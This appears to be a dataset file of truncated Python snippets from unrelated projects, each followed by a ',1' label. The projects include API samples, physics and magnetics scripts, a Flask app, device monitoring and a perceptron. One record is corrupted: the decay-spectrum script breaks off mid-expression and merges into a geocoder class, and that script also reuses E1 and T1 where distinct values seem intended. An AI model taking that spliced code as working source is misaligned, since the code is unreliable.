ICAO.iteritems(): if value == word: final_message += key final_message += ' ' print final_message if __name__ == ""__main__"": din_icao(""mesaj.icao"") ",1 "t use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""This example creates a bidder-level filter set. A bidder-level filter set can be used to retrieve aggregated data for all Authorized Buyers accounts under the given bidder account, including the bidder account itself. """""" import argparse from datetime import date from datetime import datetime from datetime import timedelta import os import pprint import sys import uuid sys.path.insert(0, os.path.abspath('..')) from googleapiclient.errors import HttpError import samples_util _DATE_FORMAT = '%Y%m%d' _FILTER_SET_NAME_TEMPLATE = ('bidders/{bidders_resource_id}/' 'filterSets/{filtersets_resource_id}') _OWNER_NAME_TEMPLATE = 'bidders/{bidders_resource_id}' _TODAY = date.today() _VALID_ENVIRONMENTS = ('WEB', 'APP') _VALID_FORMATS = ('DISPLAY', 'VIDEO') _VALID_PLATFORMS = ('DESKTOP', 'TABLET', 'MOBILE') _VALID_TIME_SERIES_GRANULARITIES = ('HOURLY', 'DAILY') DEFAULT_BIDDER_RESOURCE_ID = 'ENTER_BIDDER_RESOURCE_ID_HERE' DEFAULT_FILTER_SET_RESOURCE_ID = f'FilterSet_{uuid.uuid4()}' DEFAULT_END_DATE = _TODAY.strftime(_DATE_FORMAT) DEFAULT_START_DATE = (_TODAY - timedelta(days=7)).strftime( _DATE_FORMAT) def main(ad_exchange_buyer, owner_name, body, is_transient): try: # Construct and execute the request. filter_set = ad_exchange_buyer.bidders().filterSets().create( ownerName=owner_name, isTransient=is_transient, body=body).execute() print(f'FilterSet created for bidder: ""{owner_name}"".') pprint.pprint(filter_set) except HttpError as e: print(e) if __name__ == '__main__': def time_series_granularity_type(s): if s not in _VALID_TIME_SERIES_GRANULARITIES: raise argparse.ArgumentTypeError('Invalid TimeSeriesGranularity ' f'specified: ""{s}"".') return s def environment_type(s): if s not in _VALID_ENVIRONMENTS: raise argparse.ArgumentTypeError( f'Invalid Environment specified: ""{s}"".') return s def format_type(s): if s not in _VALID_FORMATS: raise argparse.ArgumentTypeError(f'Invalid Format specified: ""{s}"".') return s def platform_type(s): if s not in _VALID_PLATFORMS: raise argparse.ArgumentTypeError(f'Invalid Platform specified: ""{s}"".') return s def valid_date(s): try: return datetime.strptime(s, _DATE_FORMAT).date() except ValueError: raise argparse.ArgumentTypeError(f'Invalid date specified: ""{s}"".') parser = argparse.ArgumentParser( description=('Creates a bidder-level filter set with the specified ' 'options.')) # Required fields. parser.add_argument( '-b', '--bidder_resource_id', default=DEFAULT_BIDDER_RESOURCE_ID, help=('The resource ID of the bidders resource for which the filter set ' 'is being created. This will be used to construct the ownerName ' 'used as a path parameter for filter set requests. For additional ' 'information on how to configure the ownerName path parameter, ' 'see: https://developers.google.com/authorized-buyers/apis/' 'reference/rest/v2beta1/bidders.filterSets/create' '#body.PATH_PARAMETERS.owner_name')) parser.add_argument( '-r', '--resource_id', default=DEFAULT_FILTER_SET_RESOURCE_ID, help=('The resource ID of the filter set. Note that this must be ' 'unique. This will be used to construct the filter set\'s name. ' 'For additional information on how to configure a filter set\'s ' 'name, see: https://developers.google.com/authorized-buyers/apis/' 'reference/rest/v2beta1/bidders.filterSets#FilterSet.FIELDS.name')) parser.add_argument( '--end_date', default=DEFAULT_END_DATE, type=valid_date, help=('The end date for the filter set\'s absoluteDateRange field, which ' 'will be accepted in this example in YYYYMMDD format.')) parser.add_argument( '--start_date', default=DEFAULT_START_DATE, type=valid_date, help=('The start date for the filter set\'s time_range field, which ' 'will be accepted in this example in YYYYMMDD format.')) # Optional fields. parser.add_argument( '-e', '--environment', required=False, type=environment_type, help=('The environment on which to filter.')) parser.add_argument( '-f', '--format', required=False, type=format_type, help=('The format on which to filter.')) parser.add_argument( '-p', '--platforms', required=False, nargs='*', type=platform_type, help=('The platforms on which to filter. The filters represented by ' 'multiple platforms are ORed together. Note that you may specify ' 'more than one using a space as a delimiter.')) parser.add_argument( '-s', '--seller_network_ids', required=False, nargs='*', type=int, help=('The list of IDs for seller networks on which to filter. The ' 'filters represented by multiple seller network IDs are ORed ' 'together. Note that you may specify more than one using a space ' 'as a delimiter.')) parser.add_argument( '-t', '--time_series_granularity', required=False, type=time_series_granularity_type, help=('The granularity of time intervals if a time series breakdown is ' 'desired.')) parser.add_argument( '--is_transient', required=False, default=True, type=bool, help=('Whether the filter set is transient, or should be persisted ' 'indefinitely. In this example, this will default to True.')) args = parser.parse_args() # Build the time_range as an AbsoluteDateRange. time_range = { 'startDate': { 'year': args.start_date.year, 'month': args.start_date.month, 'day': args.start_date.day }, 'endDate': { 'year': args.end_date.year, 'month': args.end_date.month, 'day': args.end_date.day } } # Create a body containing the required fields. BODY = { 'name': _FILTER_SET_NAME_TEMPLATE.format( bidders_resource_id=args.bidder_resource_id, filtersets_resource_id=args.resource_id), # Note: You may alternatively specify relativeDateRange or # realtimeTimeRange. 'absoluteDateRange': time_range } # Add optional fields to body if specified. if args.environment: BODY['environment'] = args.environment if args.format: BODY['format'] = args.format if args.platforms: BODY['platforms'] = args.platforms if args.seller_network_ids: BODY['sellerNetworkIds'] = args.seller_network_ids if args.time_series_granularity: BODY['timeSeriesGranularity'] = args.time_series_granularity try: service = samples_util.GetService('v2beta1') except IOError as ex: print(f'Unable to create adexchangebuyer service - {ex}') print('Did you specify the key file in samples_util.py?') sys.exit(1) main(service, _OWNER_NAME_TEMPLATE.format( bidders_resource_id=args.bidder_resource_id), BODY, args.is_transient) ",1 " 54 Q = 2.4578 def F(Z, KE): E = KE + m_e W = E/m_e Z0 = Z + 2 if W <= 1: W = 1 + 1e-4 if W > 2.2: a = -8.46e-2 + 2.48e-2*Z0 + 2.37e-4*Z0**2 b = 1.15e-2 + 3.58e-4*Z0 - 6.17e-5*Z0**2 else: a = -0.811 + 4.46e-2*Z0 + 1.08e-4*Z0**2 b = 0.673 - 1.82e-2*Z0 + 6.38e-5*Z0**2 x = sqrt(W-1) p = sqrt(W**2 - 1) if (p <= 0): result = 1 else: result = W/p*exp(a + b*x) return result def D(D, K, i): Z = Z_Xe T0 = Q/m_e E1 = 0.5*(K+D) + 1 E2 = 0.5*(K+D) + 1 p1 = sqrt(E1**2 - 1) p2 = sqrt(E2**2 - 1) T1 = E1 - 1 T2 = E2 - 1 return p1*E1*F(Z, T1*m_e)*p2*E2*F(Z, T1*m_e)*pow(T0 - K, i) def SumSpectrum(K, i): if K < 0: return 0 elif K > Q: return 0 a = -K/m_e b = K/m_e x = scipy.integrate.quad(D, a, b, (K/m_e, i))[0] if x < 0: return 0 else: return x def gauss_conv(x, y, res): N = len(x) mu = numpy.mean(x) s = res*mu gauss = [1.0/(s*sqrt(2*pi))*exp(-0.5*((a-mu)/s)**2) for a in x] convolution = numpy.convolve(y, gauss,'same') return convolution def normalize(y, eps, f): return [a*f for a in y] N = 1000 min_E = 0.0 max_E = 1.2 E_scaled = array('d', numpy.linspace(min_E, max_E, N, False)) Es = array('d', (E*Q for E in E_scaled)) eps = (max_E - min_E)/N bb0n = [0.5/eps if abs(E-Q)= self.len: raise StopIteration self.current_data = self.data[self.current_index] self.current_index += 1 return self def __getitem__(self, key): """""" Accessing GeocoderResult by index will return a GeocoderResult with just one data entry """""" return GeocoderResult([self.data[key]]) def __unicode__(self): return self.formatted_address if sys.version_info[0] >= 3: # Python 3 def __str__(self): return self.__unicode__() def __next__(self): return self.return_next() else: # Python 2 def __str__(self): return self.__unicode__().encode('utf8') def next(self): return self.return_next() @property def count(self): return self.len @property def coordinates(self): """""" Return a (latitude, longitude) coordinate pair of the current result """""" location = self.current_data['geometry']['location'] return location['lat'], location['lng'] @property def latitude(self): return self.coordinates[0] @property def longitude(self): return self.coordinates[1] @property def raw(self): """""" Returns the full result set in dictionary format """""" return self.data @property def valid_address(self): """""" Returns true if queried address is valid street address """""" return self.current_data['types'] == ['street_address'] @property def formatted_address(self): return self.current_data['formatted_address'] def __getattr__(self, name): lookup = name.split('__') attribute = lookup[0] if (attribute in GeocoderResult.attribute_mapping): attribute = GeocoderResult.attribute_mapping[attribute] try: prop = lookup[1] except IndexError: prop = 'long_name' for elem in self.current_data['address_components']: if attribute in elem['types']: return elem[prop] class GeocoderError(Exception): """"""Base class for errors in the :mod:`pygeocoder` module. Methods of the :class:`Geocoder` raise this when something goes wrong. """""" #: See http://code.google.com/apis/maps/documentation/geocoding/index.html#StatusCodes #: for information on the meaning of these status codes. G_GEO_OK = ""OK"" G_GEO_ZERO_RESULTS = ""ZERO_RESULTS"" G_GEO_OVER_QUERY_LIMIT = ""OVER_QUERY_LIMIT"" G_GEO_REQUEST_DENIED = ""REQUEST_DENIED"" G_GEO_MISSING_QUERY = ""INVALID_REQUEST"" def __init__(self, status, url=None, response=None): """"""Create an exception with a status and optional full response. :param status: Either a ``G_GEO_`` code or a string explaining the exception. :type status: int or string :param url: The query URL that resulted in the error, if any. :type url: string :param response: The actual response returned from Google, if any. :type response: dict """""" Exception.__init__(self, status) # Exception is an old-school class self.status = status self.url = url self.response = response def __str__(self): """"""Return a string representation of this :exc:`GeocoderError`."""""" return 'Error %s\nQuery: %s' % (self.status, self.url) def __unicode__(self): """"""Return a unicode representation of this :exc:`GeocoderError`."""""" return unicode(self.__str__()) ",1 "tially funded by the European Community through the # 7th Framework Programme project CREW (FP7-ICT-2009-258301). # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the Free # Software Foundation, either version 3 of the License, or (at your option) # any later version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # # You should have received a copy of the GNU General Public License along with # this program. If not, see http://www.gnu.org/licenses/ import logging import Queue import random import time from spectrumwars.testbed import TestbedBase, RadioBase, RadioTimeout, RadioError, TestbedError, RadioPacket log = logging.getLogger(__name__) class Radio(RadioBase): RECEIVE_TIMEOUT = 2. def __init__(self, addr, dispatcher, send_delay): super(Radio, self).__init__() self.addr = addr self.neighbor = None self.dispatcher = dispatcher self.q = Queue.Queue() self.frequency = 0 self.bandwidth = 0 self.send_delay = send_delay def _recv(self, addr, bindata, frequency, bandwidth): if self.frequency == frequency and self.bandwidth == bandwidth and self.addr == addr: self.q.put(bindata) def set_configuration(self, frequency, bandwidth, power): self.frequency = frequency self.bandwidth = bandwidth def binsend(self, bindata): self.dispatcher(self.neighbor, bindata, self.frequency, self.bandwidth) time.sleep(self.send_delay) def binrecv(self, timeout=None): if timeout is None: timeout = self.RECEIVE_TIMEOUT try: bindata = self.q.get(True, timeout) except Queue.Empty: raise RadioTimeout else: return bindata class Testbed(TestbedBase): RADIO_CLASS = Radio def __init__(self, send_delay=.1, frequency_range=64, bandwidth_range=10, power_range=10, packet_size=1024): self.send_delay = float(send_delay) self.frequency_range = int(frequency_range) self.bandwidth_range = int(bandwidth_range) self.power_range = int(power_range) self.RADIO_CLASS.PACKET_SIZE = int(packet_size) + 1 self.radios = [] # for each channel, we keep the timestamp of the last # transmission. we use this for simulated spectrum sensing and # for detecting collisions. self.channels = [0] * self.frequency_range self.i = 0 def _get_radio(self): r = Radio(self.i, self._dispatcher, self.send_delay) self.radios.append(r) self.i += 1 return r def _dispatcher(self, addr, bindata, frequency, bandwidth): now = self.time() has_collision = (now - self.channels[frequency]) > self.send_delay self.channels[frequency] = now if has_collision: # note that when packets collide, the first one goes # through while the later ones fail. this is different # than in reality: all should fail. But this would # be complicated to implement in practice. for radio in self.radios: radio._recv(addr, bindata, frequency, bandwidth) else: log.debug(""packet collision detected on channel %d"" % (frequency,)) def get_radio_pair(self): dst = self._get_radio() src = self._get_radio() dst.neighbor = src.addr src.neighbor = dst.addr return dst, src def get_spectrum(self): spectrum = [] now = self.time() for time in self.channels: if now - time < .5: p = random.randint(-40, -20) else: p = random.randint(-90, -80) spectrum.append(p) return tuple(spectrum) def get_frequency_range(self): return self.frequency_range def get_bandwidth_range(self): return self.bandwidth_range def get_power_range(self): return self.power_range ",1 "champion_json['data']) version = champion_json['version'] print ""version: "" + version for champion in champion_json['data']: print champion r = requests.get('http://ddragon.leagueoflegends.com/cdn/' + version + '/img/champion/' + champion + '.png') if r.status_code == 200: img = r.content with open('static/images/champions/' + champion_json['data'][champion]['name'] + '.png', 'w') as f: f.write(img) print ""img created"" else: print ""pictures: something went wrong"" #load champion json #converts to python dict using json() and json.dump() for error checking def load_champion_json(): try: r = requests.get('https://global.api.pvp.net/api/lol/static-data/na/v1.2/champion?&api_key=' + API_key) champion_json = r.json() if 'status' in champion_json: print champion_json['status']['message'] return load_champion_pictures(champion_json) # quick fix to change MonkeyKing to Wukong so that sort_keys sorts it properly champion_json['data']['Wukong'] = champion_json['data']['MonkeyKing'] del champion_json['data']['MonkeyKing'] except ValueError as e: print e.message return with open('static/json/champion.json', 'w') as f: json.dump(champion_json, f, sort_keys=True) load_champion_json() ",1 "lute_import from math import sin, cos, tan, log, atan2, acos, pi, sqrt import scipy as sp import matplotlib.pyplot as plt import functools as ft import simpleode.core.utils as utils def calculate_switching_time(magnetic_parameters, p_start, p_now): """"""Calculate the time taken to switch from polar angle p_start to p_now with the magnetic parameters given. """""" # Should never quite get to pi/2 # if p_now >= pi/2: # return sp.inf # Cache some things to simplify the expressions later H = magnetic_parameters.H(None) Hk = magnetic_parameters.Hk() alpha = magnetic_parameters.alpha gamma = magnetic_parameters.gamma # Calculate the various parts of the expression prefactor = ((alpha**2 + 1)/(gamma * alpha)) \ * (1.0 / (H**2 - Hk**2)) a = H * log(tan(p_now/2) / tan(p_start/2)) b = Hk * log((H - Hk*cos(p_start)) / (H - Hk*cos(p_now))) c = Hk * log(sin(p_now) / sin(p_start)) # Put everything together return prefactor * (a + b + c) def calculate_azimuthal(magnetic_parameters, p_start, p_now): """"""Calculate the azimuthal angle corresponding to switching from p_start to p_now with the magnetic parameters given. """""" def azi_into_range(azi): a = azi % (2*pi) if a < 0: a += 2*pi return a alpha = magnetic_parameters.alpha no_range_azi = (-1/alpha) * log(tan(p_now/2) / tan(p_start/2)) return azi_into_range(no_range_azi) def generate_dynamics(magnetic_parameters, start_angle=pi/18, end_angle=17*pi/18, steps=1000): """"""Generate a list of polar angles then return a list of corresponding m directions (in spherical polar coordinates) and switching times. """""" mag_params = magnetic_parameters # Construct a set of solution positions pols = sp.linspace(start_angle, end_angle, steps) azis = [calculate_azimuthal(mag_params, start_angle, p) for p in pols] sphs = [utils.SphPoint(1.0, azi, pol) for azi, pol in zip(azis, pols)] # Calculate switching times for these positions times = [calculate_switching_time(mag_params, start_angle, p) for p in pols] return (sphs, times) def plot_dynamics(magnetic_parameters, start_angle=pi/18, end_angle=17*pi/18, steps=1000): """"""Plot exact positions given start/finish angles and magnetic parameters. """""" sphs, times = generate_dynamics(magnetic_parameters, start_angle, end_angle, steps) sphstitle = ""Path of m for "" + str(magnetic_parameters) \ + ""\n (starting point is marked)."" utils.plot_sph_points(sphs, title=sphstitle) timestitle = ""Polar angle vs time for "" + str(magnetic_parameters) utils.plot_polar_vs_time(sphs, times, title=timestitle) plt.show() def calculate_equivalent_dynamics(magnetic_parameters, polars): """"""Given a list of polar angles (and some magnetic parameters) calculate what the corresponding azimuthal angles and switching times (from the first angle) should be. """""" start_angle = polars[0] f_times = ft.partial(calculate_switching_time, magnetic_parameters, start_angle) exact_times = [f_times(p) for p in polars] f_azi = ft.partial(calculate_azimuthal, magnetic_parameters, start_angle) exact_azis = [f_azi(p) for p in polars] return exact_times, exact_azis def plot_vs_exact(magnetic_parameters, ts, ms): # Extract lists of the polar coordinates m_as_sph_points = map(utils.array2sph, ms) pols = [m.pol for m in m_as_sph_points] azis = [m.azi for m in m_as_sph_points] # Calculate the corresponding exact dynamics exact_times, exact_azis = \ calculate_equivalent_dynamics(magnetic_parameters, pols) # Plot plt.figure() plt.plot(ts, pols, '--', exact_times, pols) plt.figure() plt.plot(pols, azis, '--', pols, exact_azis) plt.show() ",1 "json_to_file from helpers.groups import get_groups from json_controller import JSONController from main import app from pymongo import MongoClient, errors HERE = os.path.dirname(os.path.abspath(__file__)) # setup database connection def connect_client(): """"""Connects to Mongo client"""""" try: return MongoClient(app.config['DB_HOST'], int(app.config['DB_PORT'])) except errors.ConnectionFailure as e: raise e def get_db(): """"""Connects to Mongo database"""""" if not hasattr(g, 'mongo_client'): g.mongo_client = connect_client() g.mongo_db = getattr(g.mongo_client, app.config['DB_NAME']) g.groups_collection = g.mongo_db[os.environ.get('DB_GROUPS_COLLECTION')] return g.mongo_db @app.teardown_appcontext def close_db(error): """"""Closes connection with Mongo client"""""" if hasattr(g, 'mongo_client'): g.mongo_client.close() # Begin view routes @app.route('/') @app.route('/index/') def index(): """"""Landing page for SciNet"""""" return render_template(""index.html"") @app.route('/faq/') def faq(): """"""FAQ page for SciNet"""""" return render_template(""faq.html"") @app.route('/leaderboard/') def leaderboard(): """"""Leaderboard page for SciNet"""""" get_db() groups = get_groups(g.groups_collection) return render_template(""leaderboard.html"", groups=groups) @app.route('/ping', methods=['POST']) def ping_endpoint(): """"""API endpoint determines potential article hash exists in db :return: status code 204 -- hash not present, continue submission :return: status code 201 -- hash already exists, drop submission """""" db = get_db() target_hash = request.form.get('hash') if db.raw.find({'hash': target_hash}).count(): return Response(status=201) else: return Response(status=204) @app.route('/articles') def ArticleEndpoint(): """"""Eventual landing page for searching/retrieving articles"""""" if request.method == 'GET': return render_template(""articles.html"") @app.route('/raw', methods=['POST']) def raw_endpoint(): """"""API endpoint for submitting raw article data :return: status code 405 - invalid JSON or invalid request type :return: status code 400 - unsupported content-type or invalid publisher :return: status code 201 - successful submission """""" # Ensure post's content-type is supported if request.headers['content-type'] == 'application/json': # Ensure data is a valid JSON try: user_submission = json.loads(request.data) except ValueError: return Response(status=405) # generate UID for new entry uid = get_id() # store incoming JSON in raw storage file_path = os.path.join( HERE, 'raw_payloads', str(uid) ) store_json_to_file(user_submission, file_path) # hand submission to controller and return Resposne db = get_db() controller_response = JSONController(user_submission, db=db, _id=uid).submit() return controller_response # User submitted an unsupported content-type else: return Response(status=400) #@TODO: Implicit or Explicit group additions? Issue #51 comments on the issues page #@TODO: Add form validation @app.route('/requestnewgroup/', methods=['POST']) def request_new_group(): # Grab submission form data and prepare email message data = request.json msg = ""Someone has request that you add {group_name} to the leaderboard \ groups. The groups website is {group_website} and the submitter can \ be reached at {submitter_email}."".format( group_name=data['new_group_name'], group_website=data['new_group_website'], submitter_email=data['submitter_email']) return Response(status=200) ''' try: email( subject=""SciNet: A new group has been requested"", fro=""no-reply@scinet.osf.io"", to='harry@scinet.osf.io', msg=msg) return Response(status=200) except: return Response(status=500) ''' # Error handlers @app.errorhandler(404) def not_found(error): return make_response(jsonify( { 'error': 'Page Not Found' } ), 404) @app.errorhandler(405) def method_not_allowed(error): return make_response(jsonify( { 'error': 'Method Not Allowed' } ), 405)",1 " configparser.ConfigParser(allow_no_value=True) self.config.read(config_path) def config_section_map(self, section): """""" returns all configuration options in 'section' in a dict with key: config_option and value: the read value in the file"""""" dict1 = {} options = self.config.options(section) for option in options: try: dict1[option] = self.config.get(section, option) if dict1[option] == -1: DebugPrint(""skip: %s"" % option) except: dict1[option] = None return dict1 # getint(section, option) # getboolean(section, option) ",1 "You can obtain one at http://mozilla.org/MPL/2.0/. # # Copyright (c) 2016 Digi International Inc. All Rights Reserved. """""" Monitor the WR31 door enclosure """""" import time import sys import sarcli import idigidata def millisecond_timestamp(): """""" Return a timestamp, in milliseconds :return ms_timestamp: int, Timestamp in milliseconds """""" ms_timestamp = int(time.time() * 1000) return ms_timestamp def cli_command(cmd): """""" Send a command to the SarOS CLI and receive the response :param cmd: str, Command to run :return response: str, Response to cmd """""" cli = sarcli.open() cli.write(cmd) response = cli.read() cli.close() return response class SmsAlert(object): """""" Send an SMS alert """""" def __init__(self, destination, custom_text): self.destination = destination self.custom_text = custom_text def send_alert(self, message): """""" Send an SMS alert :param message: str, Content of SMS message :return response: str, Response to sendsms command """""" message = ""{0}: {1}"".format(self.custom_text, message) command = 'sendsms ' + self.destination + ' ""' + message + '"" ' response = cli_command(command) return response class DatapointAlert(object): """""" Send a Datapoint alert """""" def __init__(self, destination): self.destination = destination def send_alert(self, message): """""" Send a Datapoint alert :param message: str, Datapoint content :return response: tuple, Result code of datapoint upload attempt """""" timestamp = millisecond_timestamp() dpoint = """"""\ STRING {0} {1} {2} """""".format(message, timestamp, self.destination) response = idigidata.send_to_idigi(dpoint, ""DataPoint/stream.xml"") return response class DoorMonitor(object): """""" Provides methods to monitor the enclosure door status """""" def __init__(self, alert_list): self.d1_status = """" self.alert_list = alert_list @classmethod def switch_status(cls): """""" Reads line status and sends an alert if the status is different :return status: str, Door status, ""OPEN"" or ""CLOSED"" """""" response = cli_command(""gpio dio"") if ""D1: DOUT=OFF, DIN=LOW"" in response: if not ""D0: DOUT=ON"" in response: # Door is closed status = ""CLOSED"" else: # Door is open status = ""OPEN"" return status def send_alert(self, text): """""" :param text: str, Alert content :return: """""" for alert in self.alert_list: alert.send_alert(text) def monitor_switch(self): """""" Runs line monitoring and alerting in a loop :return: """""" while True: status = self.switch_status() if status != self.d1_status: print ""WR31 door is: {0}"".format(status) self.send_alert(status) self.d1_status = status time.sleep(.5) if __name__ == '__main__': ALERT_FUNCTIONS = [DatapointAlert(""WR31_door"")] if len(sys.argv) >= 3: CUSTOM_TEXT = sys.argv[2] else: CUSTOM_TEXT = ""WR31 Door"" if len(sys.argv) >= 2: ALERT_FUNCTIONS.append(SmsAlert(sys.argv[1], CUSTOM_TEXT)) MONITOR = DoorMonitor(ALERT_FUNCTIONS) MONITOR.monitor_switch() ",1 "ib.checks import checks from grr.proto import flows_pb2 class CheckFlowArgs(rdfvalue.RDFProtoStruct): protobuf = flows_pb2.CheckFlowArgs class CheckRunner(flow.GRRFlow): """"""This flow runs checks on a host. CheckRunner: - Identifies what checks should be run for a host. - Identifies the artifacts that need to be collected to perform those checks. - Orchestrates collection of the host data. - Routes host data to the relevant checks. - Returns check data ready for reporting. """""" friendly_name = ""Run Checks"" category = ""/Checks/"" behaviours = flow.GRRFlow.behaviours + ""BASIC"" @flow.StateHandler(next_state=[""MapArtifactData""]) def Start(self): """"""."""""" client = aff4.FACTORY.Open(self.client_id, token=self.token) self.state.Register(""knowledge_base"", client.Get(client.Schema.KNOWLEDGE_BASE)) self.state.Register(""labels"", client.GetLabels()) self.state.Register(""artifacts_wanted"", set()) self.state.Register(""artifacts_fetched"", set()) self.state.Register(""checks_run"", []) self.state.Register(""checks_with_findings"", []) self.state.Register(""results_store"", None) self.state.Register(""host_data"", {}) self.CallState(next_state=""MapArtifactData"") @flow.StateHandler(next_state=[""AddResponses"", ""RunChecks""]) def MapArtifactData(self, responses): """"""Get processed data, mapped to artifacts."""""" self.state.artifacts_wanted = checks.CheckRegistry.SelectArtifacts( os=self.state.knowledge_base.os) # Fetch Artifacts and map results to the artifacts that generated them. # This is an inefficient collection, but necessary because results need to # be mapped to the originating artifact. An alternative would be to have # rdfvalues labeled with originating artifact ids. for artifact_id in self.state.artifacts_wanted: self.CallFlow(""ArtifactCollectorFlow"", artifact_list=[artifact_id], request_data={""artifact_id"": artifact_id}, next_state=""AddResponses"") self.CallState(next_state=""RunChecks"") @flow.StateHandler() def AddResponses(self, responses): artifact_id = responses.request_data[""artifact_id""] # TODO(user): Check whether artifact collection succeeded. self.state.host_data[artifact_id] = list(responses) @flow.StateHandler(next_state=[""Done""]) def RunChecks(self, responses): if not responses.success: raise RuntimeError(""Checks did not run successfully."") # Hand host data across to checks. Do this after all data has been collected # in case some checks require multiple artifacts/results. for finding in checks.CheckHost(self.state.host_data, os=self.state.knowledge_base.os): self.state.checks_run.append(finding.check_id) if finding.anomaly: self.state.checks_with_findings.append(finding.check_id) self.SendReply(finding) ",1 " super(self.__class__, self).__init__(dict_) @classmethod def find(cls, params=None): if params is None: params = dict() response = cls(Api.call('sales/detail_sale', params)) return response.sale @classmethod def list(cls, params=None): if params is None: params = dict() response = cls(Api.call('sales/list_sales', params)) return response.sale_summary def refund(self, params=None): if params is None: params = dict() if hasattr(self, 'lineitem_id'): params['lineitem_id'] = self.lineitem_id url = 'sales/refund_lineitem' elif hasattr(self, 'invoice_id'): params['invoice_id'] = self.invoice_id url = 'sales/refund_invoice' else: params['sale_id'] = self.sale_id url = 'sales/refund_invoice' return Sale(Api.call(url, params)) def stop(self, params=None): if params is None: params = dict() if hasattr(self, 'lineitem_id'): params['lineitem_id'] = self.lineitem_id return Api.call('sales/stop_lineitem_recurring', params) elif hasattr(self, 'sale_id'): active_lineitems = Util.active(self) if dict(active_lineitems): result = dict() i = 0 for k, v in active_lineitems.items(): lineitem_id = v params = {'lineitem_id': lineitem_id} result[i] = Api.call('sales/stop_lineitem_recurring', params) i += 1 response = { ""response_code"": ""OK"", ""response_message"": str(len(result)) + "" lineitems stopped successfully"" } else: response = { ""response_code"": ""NOTICE"", ""response_message"": ""No active recurring lineitems"" } else: response = { ""response_code"": ""NOTICE"", ""response_message"": ""This method can only be called on a sale or lineitem"" } return Sale(response) def active(self): active_lineitems = Util.active(self) if dict(active_lineitems): result = dict() i = 0 for k, v in active_lineitems.items(): lineitem_id = v result[i] = lineitem_id i += 1 response = { ""response_code"": ""ACTIVE"", ""response_message"": str(len(result)) + "" active recurring lineitems"" } else: response = { ""response_code"": ""NOTICE"",""response_message"": ""No active recurring lineitems"" } return Sale(response) def comment(self, params=None): if params is None: params = dict() params['sale_id'] = self.sale_id return Sale(Api.call('sales/create_comment', params)) def ship(self, params=None): if params is None: params = dict() params['sale_id'] = self.sale_id return Sale(Api.call('sales/mark_shipped', params)) ",1 " def canonicalMachineName(machine=''): aliases = {'nstxu': ['nstx', 'nstxu', 'nstx-u'], 'diiid': ['diiid', 'diii-d', 'd3d'], 'cmod': ['cmod', 'c-mod']} for key, value in aliases.items(): if machine.lower() in value: return key # invalid machine name raise FdpError('""{}"" is not a valid machine name\n'.format(machine)) MDS_SERVERS = { 'nstxu': {'hostname': 'skylark.pppl.gov', 'port': '8000'}, 'diiid': {'hostname': 'atlas.gat.com', 'port': '8000'} } EVENT_SERVERS = { 'nstxu': {'hostname': 'skylark.pppl.gov', 'port': '8000'}, 'diiid': {'hostname': 'atlas.gat.com', 'port': '8000'}, 'ltx': {'hostname': 'lithos.pppl.gov', 'port': '8000'} } LOGBOOK_CREDENTIALS = { 'nstxu': {'server': 'sql2008.pppl.gov', 'instance': None, 'username': None, 'password': None, 'database': None, 'port': '62917', 'table': 'entries', 'loginfile': os.path.join(os.getenv('HOME'), 'nstxlogs.sybase_login') } } ",1 "intA, pointB, numberOfPoints): pointList = list(zip(np.random.uniform(-1,1.00,numberOfPoints),np.random.uniform(-1,1.00,numberOfPoints))) sample = np.array([(i[0], i[1], isLeft(pointA, pointB, i)) for i in pointList]) y = sample[:,2] breakpoint = False while not breakpoint: if(len(y[y==-1]) == 0 or len(y[y==1]) == 0): pointList = list(zip(np.random.uniform(-1,1.00,numberOfPoints),np.random.uniform(-1,1.00,numberOfPoints))) sample = np.array([(i[0], i[1], isLeft(pointA, pointB, i)) for i in pointList]) y = sample[:,2] else: breakpoint = True return sample def getRandomLine(): return list(zip(np.random.uniform(-1,1.00,2),np.random.uniform(-1,1.00,2))) def getPoints(numberOfPoints): pointList = list(zip(np.random.uniform(-1,1.00,numberOfPoints),np.random.uniform(-1,1.00,numberOfPoints))) return pointList def isLeft(a, b, c): return 1 if ((b[0] - a[0])*(c[1] - a[1]) - (b[1] - a[1])*(c[0] - a[0])) > 0 else -1; def sign(x): return 1 if x > 0 else -1 def getMisMatchesQP(data, clf): #print(data) data_x = np.c_[data[:,0], data[:,1]] results = clf.predict(data_x) #print(np.sign(results)) print(""mismatch "", float(len(data) - np.sum(np.sign(results) == np.sign(data[:,2])))/len(data)) print(""score "", clf.score(data_x, data[:,2])) return float(len(data) - np.sum(np.sign(results) == np.sign(data[:,2])))/len(data) def doMonteCarloQP(pointa, pointb, clf, nopoint): #print ""weights "", weight points = [(np.random.uniform(-1,1), np.random.uniform(-1,1)) for i in range(nopoint)] #print points dataset_Monte = np.array([(i[0],i[1], isLeft(pointa,pointb,i)) for i in points]) #print dataset_Monte return getMisMatchesQP(dataset_Monte, clf) def doPLA(sample): w = np.array([0,0,0]) iteration = 0 it = 0 while True:#(it < 10): iteration = iteration + 1 it = it + 1 mismatch = list() for i in sample: #print(""point in question "", i , "" weight "", w) yy = w[0] + w[1] * i[0] + w[2] * i[1] #print(""this is after applying weight to a point "",yy) point = [i[0], i[1], sign(yy)] if any(np.equal(sample, point).all(1)): #print ""point not in sample"" if(point[2] == -1): mismatch.append((1, (i[0]), (i[1]))) else: mismatch.append((-1, -(i[0]), -(i[1]))) #print "" length "", len(mismatch), "" mismatch list "",mismatch if(len(mismatch) > 0): #find a random point and update w choiceIndex = np.random.randint(0, len(mismatch)) choice = mismatch[choiceIndex] #print(""choice "", choice) w = w + choice #print ""new weight "", w else: break #print(""this is the iteration "", iteration) #print(""this is the weight "", w) #montelist = [monetcarlo((x1,y1),(x2,y2),w,10000) for i in range(5)] #print(""Montelist "" , montelist) #monteavg = sum([i for i in montelist])/10 return w, iteration def getMisMatches(data, weights): #print data list1 = np.empty(len(data)) list1.fill(weights[0]) results = list1+ weights[1]*data[:,0]+weights[2]*data[:,1] results = -1 * results return float(len(data) - np.sum(np.sign(results) == np.sign(data[:,2])))/len(data) def doMonteCarloNP(pointa, pointb, weights, nopoint): #print ""weights "", weight points = [(np.random.uniform(-1,1), 